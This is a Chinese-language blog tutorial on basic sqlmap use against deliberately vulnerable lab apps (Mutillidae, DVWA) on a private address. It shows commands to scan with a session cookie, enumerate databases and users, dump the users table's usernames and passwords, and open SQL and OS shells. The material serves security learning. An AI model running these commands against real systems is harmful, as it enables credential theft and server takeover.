引言
上篇文章中我们说到了常见的SQL注入漏洞,我们发现如果自己手动去找注入点无疑是非常麻烦的。所以在这里推荐一款自动化的SQL注入检测工具:SQLMAP。下面我们来看看它的基本使用。SQLMAP是一个自动化的SQL注入检测工具,其主要功能是扫描,发现并利用给定URL的SQL注入漏洞。目前支持的数据库有:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB。它采用了五种独特的SQL注入技术,分别是:基于布尔的盲注,即可以根据返回页面判断条件真假的注入;基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断;基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;联合查询注入,可以使用union的情况下的注入;堆查询注入,可以同时执行多条语句的执行时的注入。
基本使用
sqlmap -uhttp://192.168.49.129/mutillidae/index.php?page=user-info.php
扫描后我们发现,这个网站是容易受到XSS攻击的,什么是XSS攻击后面章节会描述。看上面的截图我们发现它在扫描时对常用的数据库都扫描了一次,我们可不可以扫描指定的数据库并且设置扫描级别呢?如下:
sqlmap-u http://192.168.49.129/mutillidae/index.php?page=user-info.php -dbms=mysql –level 3
因为扫描时间过长,这里只截一部分图,后续不在进行说明。
我们可以指定数据库扫描并且指定扫描级别,其中,level共5级,级别越高,检测越全面。在扫描的过程中sqlmap经常会询问我们是否确认操作,我们这时候可以使用 –batch 。加了后,sqlmap会将全部输入默认确定。如:
sqlmap-u http://192.168.49.129/mutillidae/index.php?page=user-info.php -dbms=mysql –level 3–batch
回到需要登陆的DamnVulnerableWebApplication界面,这种需要登陆的页面我们该怎么使用sqlmap扫描呢?我们可以查找对应网站的一个cookie信息,然后在扫描时指定cookie信息。
在扫描前为了方便我们可以下载cookie收集插件收集cookie,当然了,也可以F12进入开发者模式收集。cookie收集插件如下:
工具安装好后打开工具,进入DamnVulnerableWebApplication页面进行登陆,然后查看是否收集成功。
扫描时指定cookie信息
sqlmap-u “http://192.168.49.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=5fcdltcnlruufgmitgu4c0lu72;security=lowsecurity;acopendivids=swingset,jotto,phpbb2,redmineacopendivids;acgroupswithpersist=nadaacgroupswithpersist”-dbms=mysql –batch
通过截图我们可以看到,在上篇文章说到的几种注入漏洞都扫描出来了。在原命令的基础上我们可以在继续扩展,如:
–dbs #获取所有数据库
–users #获取所有用户
–current-user #获取当前用户
–tables #获取所有表
-D “dvwa”-T “users”-C “username,password”–dump#指定数据库、数据表、字段 拖库
–sql-shell#进入sql shell命令行
也有与操作系统交互的命令,如下:
–os-shell# 需要对服务器有写权限
当我们想了解sqlmap是怎么运行的时我们可以使用-v来设置verbose输出级别,级别0-6,默认为1。如下:
-v6
结语
sqlmap就说到这里。其实就是一个工具的基本使用,想了解更多的命令可以进官网查看官方文档或使用sqlmap-h、–help等帮助命令进行了解。
觉得不错可以真爱四连噢,BiuBiuBiu~
End